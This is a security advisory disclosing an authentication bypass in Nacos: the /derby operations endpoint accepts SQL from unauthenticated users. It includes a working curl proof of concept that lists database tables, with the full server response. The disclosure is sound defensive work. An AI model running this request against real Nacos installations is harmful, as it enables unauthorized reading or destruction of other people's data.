GHSA-xv5h-v7jh-p2qh

ghsaUSosv

Authentication bypass for specific endpoint

view advisory published 2021-04-27Licence: CC-BY-4.0

The [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users. For example, the following request will list the tables of the database: ``` ❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st' {"code":200,"message":null,"data":[{"TABLENAME":"APP_CONFIGDATA_RELATION_PUBS"},{"TABLENAME":"APP_CONFIGDATA_RELATION_SUBS"},{"TABLENAME":"APP_LIST"},{"TABLENAME":"CONFIG_INFO"},{"TABLENAME":"CONFIG_INFO_AGGR"},{"TABLENAME":"CONFIG_INFO_BETA"},{"TABLENAME":"CONFIG_INFO_TAG"},{"TABLENAME":"CONFIG_TAGS_RELATION"},{"TABLENAME":"GROUP_CAPACITY"},{"TABLENAME":"HIS_CONFIG_INFO"},{"TABLENAME":"PERMISSIONS"},{"TABLENAME":"ROLES"},{"TABLENAME":"SYSALIASES"},{"TABLENAME":"SYSCHECKS"},{"TABLENAME":"SYSCOLPERMS"},{"TABLENAME":"SYSCOLUMNS"},{"TABLENAME":"SYSCONGLOMERATES"},{"TABLENAME":"SYSCONSTRAINTS"},{"TABLENAME":"SYSDEPENDS"},{"TABLENAME":"SYSDUMMY1"},{"TABLENAME":"SYSFILES"},{"TABLENAME":"SYSFOREIGNKEYS"},{"TABLENAME":"SYSKEYS"},{"TABLENAME":"SYSPERMS"},{"TABLENAME":"SYSROLES"},{"TABLENAME":"SYSROUTINEPERMS"},{"TABLENAME":"SYSSCHEMAS"},{"TABLENAME":"SYSSEQUENCES"},{"TABLENAME":"SYSSTATEMENTS"},{"TABLENAME":"SYSSTATISTICS"},{"TABLENAME":"SYSTABLEPERMS"},{"TABLENAME":"SYSTABLES"},{"TABLENAME":"SYSTRIGGERS"},{"TABLENAME":"SYSUSERS"},{"TABLENAME":"SYSVIEWS"},{"TABLENAME":"TENANT_CAPACITY"},{"TABLENAME":"TENANT_INFO"},{"TABLENAME":"USERS"}]}% ``` These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)

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describes (2)

Related CVEs.

IDseverity exploitable
CVE-2021-29442UShigh7.5OT highExploit
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform ma…
CVE-2021-29441UScritical9.8OT highExploit
Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.c…
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references

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